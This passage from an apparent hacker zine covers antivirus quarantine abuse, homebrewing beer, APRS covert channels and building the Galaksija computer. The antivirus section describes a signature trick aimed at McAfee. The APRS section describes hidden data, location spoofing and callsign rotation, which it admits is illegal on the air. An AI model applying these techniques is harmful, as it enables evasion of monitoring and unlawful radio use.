metadata on the original malware. The other file is the malware file
that was removed. Both of these files have been XOR encoded with a
one byte key of 0x6a (ASCII ‘j’). This 7zip file is archive mode only, so it
has no compression. All of this is extremely useful.

Let’s say that hypothetically all ‘X’ characters look like malware to
our AV. (This is a bit contrived, but we’ll get back to a real example
soon.) This X is 0x58 or 0b01011000. To bitwise XOR this char with 0x6A
would give us ‘2’ (0x32 or 0b00110010). So our PoC would be ‘X2’ for a
signature that looked for ‘X’. Why? Our tumor has the contents of ‘X2’,
and since that contains ‘X’, it’s bad malware and needs to be
quarantined. The file gets XORed to become ‘2X’ and archived with the
metadata. If you did a hexdump on this forensic .bup file, the contents of
‘2X’ are still visibly malicious and need to be quarantined!

I neither have nor want access to McAfee’s signatures, but we all
have access to ClamAV’s set of signatures. It is possible (and highly
verified) that there is some signature overlap, as files can come up dirty
on multiple vendors’ scans. In this PoC, I will use ClamAV’s
“Worm.VBS.IRC.Alba (Clam)” signature. Despite the name, I assure
you that if you submit the file through McAfee, it scans dirty.



Figure 9.13: Hexdump of the tumor.

This quick little script extracts a plaintext Clam signature database,
parses out the data of our signature, and writes the original and XOR’d
form of this signature to a file called tumor. This assumes you’re on a
Linux system with ClamAV installed with signatures loaded in
/var/lib/clamav/.

This tumor is benign, as its growth eventually stops after a few

rounds, and I’ve not yet been able to compose a proof of concept of a
malignant tumor, one that eventually fills the hard disk. Through

experimentation, I suspect that McAfee signatures are more complex
than string matches. For example, when McAfee pulls out of my pool a
file that previously had no nulls but now does, it often no longer sees it
as malware and rejoices. This is a problem as 7zip introduces nulls in its
metadata. Also some malicious data no longer triggers the antivirus
when pushed deeper into the file. These barriers might be bypassed by
more intimate knowledge of the McAfee signatures.





9:8 Brewing TCP/IPA; or, A Skill for the Zombie
Apocalypse

by Ron Fabela of Binary Brew Works

Hacking is a broad term that has too many negative and positive
connotations to list. But whichever connotations you prefer, it is a
skillset, and a skill is all about things or services that can be exchanged
for currency or bartered for goods. While this fine journal excels in
sharing scattered bits of useful hacking knowledge, the vast majority of
publications repeat ad nauseam the same drivel of the cyber world. But
when the zombies come—and they will come!—what good are your
SQL injections for survival? How will you exchange malware for fresh
vegetables and clean drinking water? What practical skills do you have
that can enable your survival?

What hackers shares with makers is their common ground of
curiosity, skill, and patience, and these intersect on a product that is
universally recognized, suitable for barter, and damn tasty. Of course,
beer as we know it today differs from the ancient times, where it was a
part of the daily diet of Egyptian Pharaohs and Greek Philosophers.
Today’s beer and its varieties have acquired a broader tradition, each
with a unique background and tastes. But in that variety there is a
center, one that pulls together people from all races, cultures, and
economic statuses. Modern day philosophers and preachers discuss the
world’s challenges over beer. Business deals and other relationships are
solidified at the bar, by liquid camaraderie!



Why do I tell you this? Because there comes a time in every
hacker’s life when you wish for more, to create something of intrinsic
value rather than endlessly find faults in the works of others. For me,
that was turning grain, water, hops, and yeast into something greater
than the sum of its parts. It’s an avenue to share, to serve others, to
create. It’s also something to trade for milk and bread when the
zombies come!

Ingredients

Beer, like most things in life, can be as simple or as complex as you wish
it to be. But at its core, this beverage started with four primary
ingredients, each just as important as the next: grain, water, hops, and
yeast.

Grain Or even more generally, any cereal where its grain can be
cultivated and finally sugars can be extracted. But more than just
simple grain, grain that has undergone the malting process. Grains are
made to germinate by soaking in water, and are then halted from
germinating further by drying with hot air, as shown in Figure 1. By
malting grains, enzymes are produced that are required for converting
the starches into sugars. This is important to know, as not just any
grain will do for the beer brewing process. These sugars which are
extracted from the malted grains will eventually be turned to alcohol
during fermentation, as in Figure 2.

Water Arguably the most critical component, water makes up 95% of
the final product and can contribute as much to the taste and feel of the
brew as the grains, hops, and yeast. Books have been written and
rewritten on the subject of brewing water and will not be rehashed
here. Good water must be clean, plentiful and free of chlorine.





Hops Starting in the ninth century, brewers began using hops in place
of bittering herbs and flowers as a way to flavor and stabilize their brew.
Hops are the female flowers of the hop plant with training bines that
set forth like ivy or grapes. The hop cone itself is made of multiple
components, but most important to brewing are the resins that are
composed of alpha and beta acids. Alpha acids in particular are critical
due to their mild antibiotic/bacteriostatic effect that favors the
exclusive activity of brewing yeast over microbial nasties swimming
about. See Figure 3.

Beta acids contribute to the beer’s aroma and overall flavor. These
acids are extracted during the brewing process by boiling.

Yeast Single-celled organisms with an amazing ability to convert
carbohydrates (sugars) into CO2 and alcohol, yeast is the literal
lifeblood of beer, as fermentation changes sugary and otherwise boring
sugar water (wort, or young beer) into glorious brew.

For brewing there are two main types of yeasts: “top-cropping”
where the yeast forms a foam at the top of the wort during
fermentation and is more commonly known as “ale yeast” and
“bottom-cropping” where the yeasts ferment at lower temperatures
and settle at the bottom of the vessel during fermentation, commonly
known as “lager yeast.”



Yeast can be cultivated from the wild or known/safe sources. They
can even be collected and nurtured from bottle-conditioned brews,
Belgian varieties in particular.

Brewing Process

The brewing process is often fifteen minutes of frantic activity followed
by an hour of drinking, cleaning, and a bit of conversation.
Simplistically, the steps are to first extract fermentable sugars from the
malted grains with hot water (mashing), then to boil and reduce the
fermentable sugar water (wort) while adding hops at specific timing
intervals. The wort is then reduced to a safe temperature and moved to
a fermentation vessel, into which yeast is pitched and the liquid stored
at a consistent temperature, allowing the fermentation process to occur.
Finally, the beer is packed and conditioned for future consumption and
enjoyment.

There is quite a bit of science and wizardry that takes place in these
five steps. I would like to take you through this process with one of our
own recipes at Binary Brew Works. These days you can’t have a
brewery without an India Pale Ale (IPA), a beer that at its origin was
heavily hopped to make the journey by ship from England to India.
This heavy-handed hop addition creates a highly bitter, but hopefully
aromatic and balanced brew that is popular today.

Gathering the Ingredients For our IPA, appropriately named
TCP/IPa, the following ingredients are used and scaled for a thirty
gallon (114 liter) batch. Scaling at this volume is 1:1, so halving the

numbers for a fifteen gallon (57 liter) batch will yield similar results.26

TCP / IPa
FERMENTABLES:

2 Row                70 lbs
Caramel Malt 60L      6 lbs
Flaked Wheat          6 lbs

HOPS:



Cascade       8 oz     @ 60 mins
Citra        16 oz     @ 15 mins

Yeast:

Wyeast 1056

Preparing the Mash Water In a brewing kettle, bring the water to
what is known as strike temperature. The volume of water depends on
other parameters such as grain absorption rates, equipment losses, and
evaporation. Using a brewing water calculator is recommended. For
this recipe, approximately 45 gallons (170 liters) of strike water are
needed to get the desired 30 gallons (114 liters) of finished product.

Your striking temperature is typically 10–15°F (5–7°C) higher than

your target mash temperature. In this case, 170°F (77°C) for a target

160°F (71°C).

Mashing In a separate vessel called a mash tun, the prepared grains are
waiting for inclusion of the strike water. The mash tun is often a
modified cooler or other insulated vessel that can contain the volume
of both the grain and the striking water. In single infusion mashing,
water is added to the grains, stirred, and typically left to sit for an hour
to allow for the extraction of fermentable sugars. Fifteen minutes of
frantic moving of water, stirring, and cleaning is then followed by an
hour of drinking your last batch of beer.

Boiling Once the mashing is complete, the sugar water “wort” has to
be extracted and placed into the boiling kittling, oftentimes the same
kettle used to heat the strike water. This can be accomplished in a
number of ways, mostly through the use of mesh false bottoms or other
straining mechanisms to prevent, as much as possible, solid grain
matter from entering the boiling kettle.

Once extracted, the wort is brought to a boil and held there for an
hour to an hour and a half. The addition of hops through the boiling



process adds to the bitterness and flavor of the beer, so it is critical to
follow hop addition timings as this has a huge effect on the final
product. For TCP/IPa, two hop additions are used. Cascade hops are
widely used in the industry and therefore readily available to the
brewer. They provide the bittering required for an IPA while
imparting the characteristic spicy and citrus flavor expected for the
style. Citra hops are added towards the end of the boil to add the
strong citrus and tropical tones of flavor and aroma. Remember, the
earlier the hop addition, the more bittering oils are extracted from the
hop. Later additions provide more flavor and aroma without adding
bitterness.



Cooling You now have a boiling pot of wort that must be cooled down
to pitching temperature as quickly as possible. This is the most critical

stage of the process! At 212°F (100°C), all types of nasties that can ruin



your beer are boiled away. But as the wort is cooled, there is an
increased risk of bacteria or other infections. Cleanliness of the
brewery and its equipment is key from this point forward.

Cooling can be accomplished by a number of heat transfer
methods. At smaller volumes, coiled copper tubes shown in Figure 4
are submerged into the boiling wort to sanitize, and the cold water is
passed through, cooling the wort to the target temperature. At larger
volumes, heat transfer equipment gets bigger and beefier, but serves the
same purpose. Most ale yeast pitches between 70 and 75 degrees

Fahrenheit (22°C).

Fermentation Yeast are beautiful little creatures. Through a metabolic
process, yeast convert sugars into gas (CO2) and alcohol. This process

must take place in a sanitary vessel where no interference from other
microbes can ruin our wort. Temperature control of the vessel and the
surrounding room is critical to the overall taste and feel of the final
product. Some styles, such as the saison, are purposefully fermented at

the highest temperatures (80–85°F, 27–29°C) allowed by the yeast.
Fermentation at this temperature produces a spicy profile.

For lagers, yeast ferment at lower temperatures common to
basements and cellars and produce a funky flavor. Not my preference,
but fun nonetheless if you have the equipment or climate to ferment at
this temperature.

And like magic, our sugary wort is churned, eaten, and converted
into glorious beer.

Packaging Once the fermentation process is nearly complete, the beer
can be stored and chilled. Carbonation comes next, with various
methods available to the home brewer. Bottle conditioning is the
process of introducing a priming sugar back into the wort just prior to
bottling. Take careful notes and measurements at this point, as too
much sugar can create explosive “bottle bombs.”



Investing in a used kegging system can help tremendously. Not only
does this simplify cleaning, it also allows the brewer to force carbonate
the keg. Attaching a CO2 tank and selecting the appropriate PSI level
can quickly and more evenly carbonate your brew to the target levels.
Plus there’s nothing like having fresh, cold beer on tap.

Creating a final product from raw ingredients is a very fulfilling
process. The basic process of extracting sugars from grain, adding hops,
fermentation, and drinking is just the surface of a complex, diverse, and
creative industry. For the homebrewer, not only serves as a way to make
and enjoy beer, but also as a social tradition where drinks and
conversations are had over a boiling pot of wort. Go forth, become a
brewer, and enjoy the miracle of your own beer!

9:9 Shenanigans with APRS and AX.25 for Covert
Communications

by Vogelfrei

This little document details some shenanigans involving APRS and
its underlying AX.25 protocol, including but not limited to covert
channels, steganography, avoiding detection by normal users and
leveraging Internet infrastructure for worldwide covert
communication.

Covert channels in radio packet protocols have been investigated in

the past.27 Although the regulations for amateur radio operation
explicitly forbid hiding, encoding, or encrypting communications in



any form, it is nonetheless a challenging and fruitful field for
experimentation.

I had been researching the topic for a while, and informally
mentioned this to my neighbors Travis and Muur, who—it turned out
—had been working on PSK31. They requested an article to follow
theirs, PoCǁGTFO 8:4. So enjoy this short piece, and look out for

more elaborate tricks and tools for all your booklegging
communication needs, because the world is almost through!

The APRS protocol (Automatic Position Reporting System),
originally developed by Bob Bruninga (WB4APR), has its roots in the
necessity to track the position and telemetry data of vehicles, weather
stations, and hikers.

APRS is built on the AX.25 protocol, an amateur variant of the
commercial X.25 protocol you’ll fondly remember from Phrack 45:8.
Despite the amateur nature of its deployment, there is an impressively
large infrastructure of Internet gateways, digipeaters, weather stations,
and other kinds of nodes. The International Space Station (ISS) itself
has an APRS-capable digipeater on-board, and radio operators across
the globe engage in packet radio messaging through the station and
other satellites.

Perhaps the most interesting feature of APRS, besides the fact that
it supports exchanging all kinds of information, is the way the data is
routed between uncoordinated nodes over large areas. It is this
decentralized, connection-less nature that makes APRS ideal for covert
communication purposes.

Frequencies and Equipment

Now that you have a general idea of what APRS is and what it might be
useful for, you should know which frequencies are designated for APRS
transmissions. Frequencies vary by country, but as a general rule, North
America uses 144.390 MHz while Europe and Africa use 144.800 MHz.
The International Space Station is nearby, at 145.825 MHz.



For testing and experimentation purposes, start with a cheap hand-
held radio such as the Baofeng UV5R from China. It is capable of
transmitting in the 2m and 70cm bands, and can easily be connected to
your computer’s sound card. This will allow you to immediately test
software modems and get your feet wet with APRS and other packet
radio protocols.

If you would like to get fancy, I recommend two additional pieces
of equipment. Get a dual-band radio with TNC support, such as the
Kenwood TM-D7xx or TH-D72A. The TNC will interpret packets in
hardware, freeing you from DSP headaches. You will also want a
general purpose wide-band receiver with discriminator (unadulterated
audio) output; ordinary folks call this a scanner.

The Protocol

As mentioned before, APRS uses AX.25 for transport. More specifically,
APRS data is contained in AX.25 Unnumbered Information (UI)
frames, in the information field. The protocol is completely
connectionless; there is neither state nor any expectation of a response

for a given packet.28 This is rather handy for simple systems, since you
will only need a single packet consumer, and the rest of your state
machine is entirely up to you. Because of its simplicity, APRS can be
easily implemented in microcontrollers.

A simple APRS message packet looks as follows:

N0CALL-9>N1CALL-9,WIDE1-1,WIDE2-2::N1CALL-9 :This is a test for APRS messages{1

Dissecting its structure, we will find:

1. The path element: N0CALL-9>N1CALL-9,WIDE1-1,WIDE2-2

2. A colon (:) delimiting the end of the path and the beginning of the
packet data.



3. The packet type identified by a single character, also a colon, for
messages.

4. After that, whatever format the packet type specifies. In the case of
a message, a colon-delimited recipient callsign, followed by the
text and a { bracket followed by a number, indicating the line of
the message, starting at one.

Figure 9.14: APRS Data contained in the AX.25 information field

The comment field is also susceptible to abuse, limited to printable
ASCII data as the specification demands, “The comment may contain
any printable ASCII characters, except | and ~, which are reserved for
TNC channel switching.” Depending on the DTI, the Comment field
is used to include additional information besides what is sent in the
Data field, mostly for telemetry uses. Coordinates are encoded using
Base-91.



The wealth of information provided in the original protocol
specification should be more than enough to figure out ways to conceal
your own data in different packet types. Of particular interest are the
mechanisms for compressed coordinates and telemetry, weather
reports, and bulletin messages. While these have size limitations,
leveraging the unused DTIs as described in the next section allows for
crafty ways to chain multiple packets together.

Abusing Unused Data Type Identifiers (DTI)

The APRS protocol defines multiple DTIs as unused or forbidden.
These are often ignored by software and TNCs in actual radios,
making them an ideal target for creative reuse. Because it would be
trivial to detect and actively monitor for intentional use of the unused
DTIs, a better approach is to leverage them in a way that provides
somewhat plausible deniability.

1. Prepare APRS Data contents for a given DTI.

2. Find the nearest unused DTI, possibly identifying ones which
require the least amount of bits to corrupt so that the DTI isn’t
too far from the one corresponding to the data we have prepared.

3. Proceed to send the packet contained an invalid DTI that is
unused yet contains seemingly valid data for an adjacent DTI.

Unused DTIs that are one position away from another include 0x21
and 0x22. (Position without timestamp versus unused.) Table 9.1
contains some of the interesting unused identifiers up for grabs; please

refer to the APRS Protocol Reference for the rest of them.29 DTIs
involved in TNC operation should be avoided, unless the TNC
behavior can be abused constructively.

The benefit of hiding data in an otherwise valid APRS Data
segment with an incorrect (unused) DTI is that clients—including
built-in TNCs—will ignore the packet and not attempt to decode its
contents.



ID Data Type Adjacent DTI

0x22 Unused 0x21 (position without timestamp or WX)
and 0x23 (WX)

0x26 Reserved (“map
feature”)

0x25 (MicroFinder) and 0x27 (Mic-E or TM-
D700 data)

0x28 Unused 0x27 and 0x29 (Item)

0x41-

0x53

Unused Only adjacent (0x40 and 0x54)

0x2c Experimental /
Unused

(none)

0x2e Reserved (Space
weather)

0x2f (position with timestamp sans
messaging)

0x30-

0x39

Do Not Use 0x3a (Message)

Table 9.1: Unused Data Type Identifiers in the APRS Protocol



Figure 9.15: AX.25 Unnumbered Information (UI) frame structure

Third-party and User Defined Packets

Two special DTIs exist that allow for packet-in-packet protocol tricks:
the third-party and user-defined packets. These have special quirks
associated with them, and the way TNCs handle them is not
standardized. This is both a good and a bad thing. For instance, the
Kenwood TM-D7xx’s built-in TNC will ignore third-party packets
entirely if it cannot parse them.

However, Internet Gateways will also ignore all user-defined
packets and impose additional restrictions the third-party DTI. This is
the biggest motivator for actually reading the source code of APRS
Internet gateway software. For example:



N0CALL-9>N1CALL-9,WIDE1-1,WIDE2-2::N1CALL-9 :This is a test for APRS messages{1

Internet Gateways

Gateways between the Internet and APRS radios are known as Internet
Gateways or iGates. Typically iGates are used to forward APRS
beacons heard over radio to some website, but there are a lot more
interesting things we could do with them.

Tricks with iGates

Some iGates support transmitting data from the Internet out to radio,
effectively bridging the local RF spectrum to the APRS-IS network.

There is no official way to list iGates, so our best bet is connecting
to the backbone servers they report to, passively listening for frames
and beacons that announce their presence. We would also like to
distinguish iGates that are capable of transmitting from those that only
receive. When we find some such iGates, they allow us to perform
some gnarly tricks!

We can send an APRS message from an Internet-only host in Asia
to an individual driving in Pittsburgh with only a radio receiver and a
TNC. Hide locations of control sites by first proxying your packets
through the Internet iGates, only to target your local RF nodes
through a separate, sacrificial iGate bridge.



The system is only limited by APRS-IS rules in terms of traffic
congestion control. Because all RF nodes receive from and transmit to
the same frequency, overlapping transmissions can and will reduce the
ratio of successfully decoded packets for everyone else. Therefore, be
neighborly!

Traffic caps are enforced by the iGate operator’s configuration.
Commonly a given node, as identified by its callsign and SSID, will
only be able to use the Internet-RF bridge for transmitting a fixed
number of packets each minute. This is to prevent accidental jamming
of the RF channel.

Packet Validation and RF Digipeating

Some architectural limitations of APRS need to be considered
carefully. First, most iGates in the APRS-IS network will only digipeat
packets to the RF side if the station is located within a fixed radius of so
many kilometers. Second, we might not get to know if a given area has
an iGate capable of bridging RF, or transmitting to RF. We can’t simple
wait for a response, as APRS is a response-less protocol. Third, packets
marked RFONLY in their path won’t reach APRS-IS. Packets marked
TCPIP won’t reach RF nodes. iGates forcing or restricting either will
be dead-ends if we aim to bridge over APRS-IS. Finally, user-defined
packets are ignored by most of the APRS-IS infrastructure. For
example, aprsc ignores them. Third-party packets are allowed, with
caveats.

Bypassing Validation

There are a few ways to bypass the restrictions imposed on bridging RF
in iGates that require geographical proximity.

You can try to spoof your location by sending a beacon positioned
at fake coordinates near the iGate. You can then send your actual data
packets, remembering to regularly send a position beacon to the iGate
to remain in the last-heard list.



You could limit use of user-defined packets to RF side, operating a a
rogue iGate that does not ignore them, instead transforming them to

third-party or steganographic standard packets, delivered to APRS-IS.
User-defined packets are not displayed by most equipment. This also
applies to unused or obscure DTIs.

To avoid potential roadblocks, the following considerations may
help. If trying to reach the RF side, do not use—and verify that the
iGate/APRS-IS nodes don not use–TCPIP in the path. If trying to reach
the Internet side, do not use RFONLY in the path. To avoid packet drops
from rate limiting, throttle your packets, sending just one every few
minutes.

Albeit completely illegal on the actual air, as an experiment in a
controlled environment, automatically generated callsigns can be

rotated to avoid being detected or banned from the system.30 Finally,
client version strings, as used during registration with APRS-IS nodes,
could be rotated and mimic real clients.

Looking up standard TCP/IP pivoting techniques may help for
accessing the APRS-IS network, but first and foremost, remember to be
neighborly.

International Space Station (ISS) and APRS

Space, the final frontier! It suffices to say that a digipeater installed
onboard the ISS makes APRS into the tool of choice for legal ruckus
communications on a worldwide scale. So as long as the TNC of the
ISS’ radio validates your packets, you can deliver your covert messages

in a fully decentralized fashion!31

Whether commercial TNCs out there relay packets with unused
DTIs is a question left to the reader as an exercise.

Parting words: legal status of subterfuge in radio
communications



Amateur radio laws generally prohibit steganography and also

encryption, with a few narrow exceptions.32 For example, the US
Electronic Code of Federal Regulations §97.309 states, “RTTY and
data emissions using unspecified digital codes must not be transmitted for

the purpose of obscuring the meaning of any communication.”3334

Governments do monitor the airwaves where they care about them the
most, and having your antennas, expensive equipment, or house
ransacked sucks. Also keep in mind that amateur radio is self-policing;
if you mess up and create a nuisance that affects everyone else, your
future experiences with that small, tight-knit, but global community
may be seriously soured.

So be neighborly, have fun, and stay safe!

—Vogelfrei

9:10 The Galaksija Home Computer

by Voja Antonić

This article on the Galaksija computer first appeared in the January 1984

special edition of Dejan Ristanović’ Yugoslavian science magazine, also called

Galaksija. We reprint it in English as a salute to fine neighbors such as Mr.

Antonić, to all those who build strange and lovely contraptions in their

basement laboratories and then share them with the world. —PML



Do It Yourself Guide for the Galaksija Computer

A serious but pleasant work awaits us, which will be rewarded with the
unusual satisfaction of having created an intelligent device. Do not feel
discouraged if you don’t have a lot of experience. That is a sign that you
have a self-critical spirit which is, in this business, much more
important than experience. Take a moment’s pause to examine every
minute detail; if it’s well done, the Galaksija will surely work on the
first try!

Important Decisions

Before we start working, we need to make a few important decisions.
First, do we want this system to be final or will we leave space for
potential future expansions such as a printer, more memory or a music
box? If we don’t want these expansions, we save one additional multi-
pin connector and one integrated circuit. (74LS32, for which we
instead use just a short circuit marked with dashes on the mounting
diagram.) If you are unsure, we advise that you do mount these two
parts, although it’s never too late for that afterwards, either.



Mounting: Layout of Galaksija components

The second decision is whether to use a raw or RF modulated video
signal. Raw video signals don’t require an additional RF modulator and
give a stable, higher quality image, but they can’t be used with just any
TV, requiring either a special display or a black and white TV
modified with a raw display input. This modification does not require
any additional investment, but it does require certain prior knowledge
and experience in working with TV receivers. Next, a TV like that
must be transistor based (vacuum tube ones are not suitable), and it has
to have a mains transformer (and not a so called “hot chassis”). Usually,
both of these requirements are satisfied on smaller, portable, black-
and-white TVs that have a 12V battery connection. We’ll go through
some of the details for adding a proper display port to such a TV
further in the text. But, if we do install an RF modulator, we are freed



from all these complications and we’ll be able to connect the computer
to the antenna port of any TV.

We will also have to decide which ICs to socket and which will be
soldered directly to the board. You should definitely use sockets for the
EEPROMs (2716 and 2732), but for the rest, the choice is yours. The
advantage of using sockets is that there’s less risk of damaging an IC and
it’s a lot easier to diagnose a problem by swapping ICs because
desoldering ICs is a very delicate job. Unfortunately, if the sockets
aren’t of the best quality, they can cause problems with bad contacts.
To be very reliable, a socket must be of high quality, and that can
sometimes make it more expensive than the IC it holds!

Because of high quality and affordable price of professionally made
PCBs, making them yourself isn’t worth the time.



Connections to the outside world:

Inputs and outputs on the back of the Galaksija



Connector pin numbers and descriptions.

Double sided PCB layout: Expansion connector in a form of a printed

circuit board.



Keyboard mask: The final layout depends on the space bar type, so you

should wait for keyboard parts to arrive before making this part. Those
who ordered the keyboard in the first round don’t have to worry, the
parts will fit perfectly.

The heart of Galaksija computer: Z80A microprocessor and 2732

EEPROM with BASIC interpreter.



1. In front of us we have laboriously gathered all the parts which will, in
a few hours, grow into a Galaksija computer. At the bottom we easily
recognize buttons and caps of keys with printed labels, to the right we
see 1/8W resistors, with capacitors to their left and integrated circuits
in the middle. Make note of the MOS and CMOS ICs.

2. Because the PCB is single layer, we will need a lot of jumpers. They
are easy to make from a single core copper wire that you can easily
source from popular blue-white telephone twisted wire pair. The fact
that they are of standard length (5, 10, 20, 30 and 40mm) makes things
easier, so you can easily make a tool for their precise bending. (Take
note of wire gauge when making the tool.)



3. We start building the computer by placing the first jumper. Some
jumpers pass beneath the ICs; this won’t create problems if the jumpers
are neatly bent and rest flat on the PCB. (This view is from the
component side and not, as it may first seem, from the trace side.)

4. When we turn the board over to solder the first jumper, it’s obvious
why we start soldering the lowest components first. If we had, for
example, started with keys, other components would fall out when
turning the board. If you haven’t soldered before, it’s good to first
experiment a bit on another board. The tip of the soldering iron should
be prepped with a file, cleaned and tinned. Put solder on one side and
hot soldering iron tip on another side of the pin. Be careful not to leave
too much solder on the pad, because however odd it might sound, this
would make a bad soldering joint.



5. All jumpers are in place and soldered. Count them carefully: there
should be exactly 119. If you are missing some, consult the mounting
diagram. Pay close attention to the 74LS32 IC; as we said at the
beginning, we can substitute it with a jumper (dashed line on mounting
diagram) if we don’t want future system expansion connectors. That
would then make 120 jumpers.

6. The next phase is soldering the resistors, which are very similar to 10
mm jumpers.



7. When mounting ICs, take care to use the correct orientation,
because even hardened professionals sometimes mount the ICs
backward. Some are marked with a semicircle as on the mounting
diagram, while others have a dot over pin number 1. It should be
pointed out that the inscription on the IC isn’t always printed so it
starts from first pin. Since the PCB has a silk screen marking
component orientation, there should be no problems.

8. The ICs are mounted, but not all of them. We leave out MOS and
CMOS ICs CD 4017, CD 4040, 6116, 2716, 2732 and Z80A. It’s best to
leave them for the end, but there is no reason not to solder their
sockets. Now is the time, before soldering, to check once again that the
ICs are all in the right places and correctly oriented. We aren’t
repeating this to be pedantic: every bit of impatience and negligence
when soldering can cost a lot when first turning on the unit.



9. Soldering the ICs requires some precision, as distances between pins
are only 2.54mm, and they sometimes have a trace going between them.
If, a solder bridge is accidentally created between two pins, the simplest
way to remove it is by applying more fresh solder on the same place
and them removing it all with the tip of the soldering iron.

10. Next by height are capacitors. Let’s then solder them, too. It is
advisable to use disc capacitors as they are smaller and cheaper, but if
they are hard to procure, use whichever you have. Capacitance values
and voltages aren’t critical. We will skip soldering C5 as, with a suitable
quartz crystal, it probably won’t be needed. We’ll say more about that
when we come to powering on the unit.



11. We also have two NPN low power transistors on the left and right
sides of the PCB. A little bit of caution and we won’t make a mistake
when soldering these; looking at the transistor from below, we can see
that its pins form an isosceles right triangle. The holes for transistor
pins on the PCB have the same layout. There’s a place for a small diode
at the upper left corner of the PCB. Usually, a diode will have a ring
marking a cathode side of its cylindrical housing.

12. We have reached the keyboard mask! Whether you have cut your
own out of FR4 or aluminum, which we wouldn’t wish upon our worst
enemy, or you ordered it directly with keys, it is essential: without it



every key would move around and caps will scrape over each other. The
mask is self standing, so it doesn’t get connected to the PCB in any way.

13. First, place a couple of keys at the corners of the keyboard mask
without their caps, then solder them in so the mask is stable. Take care
that the keys aren’t backward: you can see that on the mounting
diagram, the pins are toward us. Jumpers won’t pose any problems
because they are placed right between the keys. After that, it’s easy, as all
fifty-five keys are the same.



14. Since we are nearing the end, we’ll solder or socket the remaining
MOS and CMOS ICs. Be careful, as these ICs are very sensitive to static
electricity. You should study the “Dangerous Paths” section of this
article first.

15. Click — click — click! Put the caps on all the keys and the whole
thing is starting to look serious. It’s almost taunting us to start
programming, but we’ll need to have a little patience.



16. Notice that the ENTER keycap is twice as wide as the rest. That one is
mounted on two keys. Taking a closer look at the traces on the PCB,
you’ll see that the contacts of those two keys are connected in parallel.
Therefore, only one of the keys has an actual function, the other is just
there for mechanical reasons.

17. The choice of jacks we’ll leave up to you. You can use whichever
you have, as long as they have at least three pins. As far as we can tell,
the standard 5-pin DIN plugs are perfectly usable and easy to get, as
they are made by Ei. They are cheap and, who would have guessed —
very reliable. Since they all have five pins we suggest the same layout as
on the mounting diagram. A good feature of this layout is that we won’t
cause any short circuits by swapping the jacks by accident.



18. Since it’s not very easy to find a multi-pin connector in our country,
we have designed the PCB so it’s possible to mount several different
types of connectors, if they have the standard 2.54mm spacing. As
optimal solution, we have decided to add one more, small, double-
sided PCB that is designed in such a way so that a 44-pin edge
connector can be used with it, because this connector type is the easiest
to find at an affordable price.

19. Of course, now we will make a final check of the whole PCB by
shining a strong light through it and carefully examining every trace.
Minuscule solder bridges are very common. Take a look at the circled
part of the image; we’ve found a bridge which shorts together two
traces!



20. Our labor has been rewarded by the beautiful sight of nice and tidy
PCB, a device which will repay all the labor and patience in multitude.
Galaksija will work for you much better than many electronic devices
in this era of electronics, exhibiting one characteristic we haven’t seen
before. It will communicate with us in such a way that we’ll start to
think of it as part of a family. And really, it’s no wonder that many
people consider their computers their friends, too!

Dangerous Paths

If you already have a few working projects behind you, you probably
won’t follow every piece of our advice. But there are some rules you
should never break because those certainly can lead to permanent
damage to components.

Short circuit between positive and negative power supply traces of
the computer will damage the 7805 voltage regulator. Some
manufacturers build this IC with over-current protection built-in,
but it’s better not to even test it. Similarly, accidentally swapping
the polarity anywhere between power supply and the computer
would probably prove fatal to all ICs.

Almost all ICs in the Galaksija computer have a working voltage of
+ 5V, with tolerances of ± 0.25V. ICs will survive over-voltage of up
to 7V, but anything higher is dangerous.



Short circuiting any pin of a 74LS-series TTL IC to a positive rail
will lead to permanent IC damage. Short circuits to ground are
harmless and we can use this to experiment. You should still take
care that not too many pins of any one IC are grounded at the
same time.

In case of bad image synchronization on the screen, we’ll have to
experiment with different values for resistors R12, R13, R9 and
R10. Having R12 or R13 less than 330 Ohm poses no problem, as
well as having R10 less than 40 Ohm.

Connecting the raw, unmodulated display output to a TV receiver
with a hot chassis poses danger not only to ICs but to your own
life. A later section describes these modifications.

Since MOS and CMOS ICs are very susceptible to damage via
static electricity, you need to take special care with them. As we believe
that most makers are already familiar with techniques of working with
these ICs (CD4017, CD4040, 2716, 2732, 6116 and Z80A), we’ll
mention just a couple of basic pieces of advice:

Use a grounded soldering iron. If you don’t have one, convert an
ungrounded soldering iron by wrapping a grounded copper wire
around the cold end of the metal, that which is nearest the handle.

If the room in which you are working has a synthetic carpet, the
static potential of your body can reach up to 300 volts! That
doesn’t pose a threat to us, since that electric charge dissipates very
quickly when we touch a grounded object, but if that discharge
goes through a pin of a MOS or CMOS IC, it will be rendered
useless. This why such ICs are kept in anti-static tubes, have their
pins tucked into special conductive sponge or simply wrapped in
conductive tape.

Once soldered in, the IC isn’t in much danger, so after we are done
we can do away with all these protective measures.



The computer housing — a thread makes a suit.

The mechanical design of the housing we leave up to you, but we will
make one suggestion: There’s plenty of copper left on the sides of the
PCB, so you can use the same material for the box and simply solder
the sides to the PCB. This way, the PCB with components becomes a
mechanical base for the whole box, for which purpose FR4 satisfies all
mechanical needs.

1. We need to carefully plan the dimensions of each part of the box on
paper, knowing which side goes over which joints. You can use the
popular OLFA scalpel to cut out the material by scoring the surface on
both sides of the panel. It’s then easy to just break the panel if the marks



are deep enough. After cutting, use a fine file to smooth the edges.
Edges that will be soldered should be filed straight, and exposed ones
should be soft.

2. First we clean the soldering surfaces with an eraser gum or fine sand
paper. Then we let the 24 or 30 W soldering iron get really hot and put
solder on all cleaned surfaces. This is much easier with flux.

3. Before soldering the whole side, we solder just a few points. That way
we can make an inspection and perhaps a correction. Once fully



soldered, the side of the box is practically impossible to desolder
without damage.

4. When soldering the sides, one should remember that solder shrinks
while cooling: if we want right angles, we orient to sides with a slight
outward angle, as seen from soldering side, lower side on the picture.
After soldering, the solder will pull the sides towards one another.



5. After thorough inspection of position and angle of the surfaces, we
solder the complete joint. It might be necessary to wait for the tip of
the soldering iron to get hot again after every few centimeters. You
might be able to solve this problem by using a stronger soldering iron,
but that can be dangerous: overheated copper can separate from FR4.

6. We can solder a couple of 10mm high sides to the top cover, which
will be adjusted to make a tight fit with the sides of the housing. That
will hold the top in place.



7. To make the top sturdy, we solder one narrow strip of FR4 along the
middle. The only thing that’s left is the bottom, which we can make
from any non-conductive material. We find that 4mm thick Plexiglas is
the most suitable, attached to the main board with four M3 screws and
spacers for separation.

8. There’s a well known procedure to paint the housing and markings
which has all the qualities of screen printing process, looks good, is
mechanically resistant, and can be easily done by an amateur. We will



need two spray paints (one white and one blue, number 469), a bottle of
gasoline for cleaning, letraset-letters and, optionally, lines.

9. With very fine-grit sandpaper, sand the whole surface to be painted.
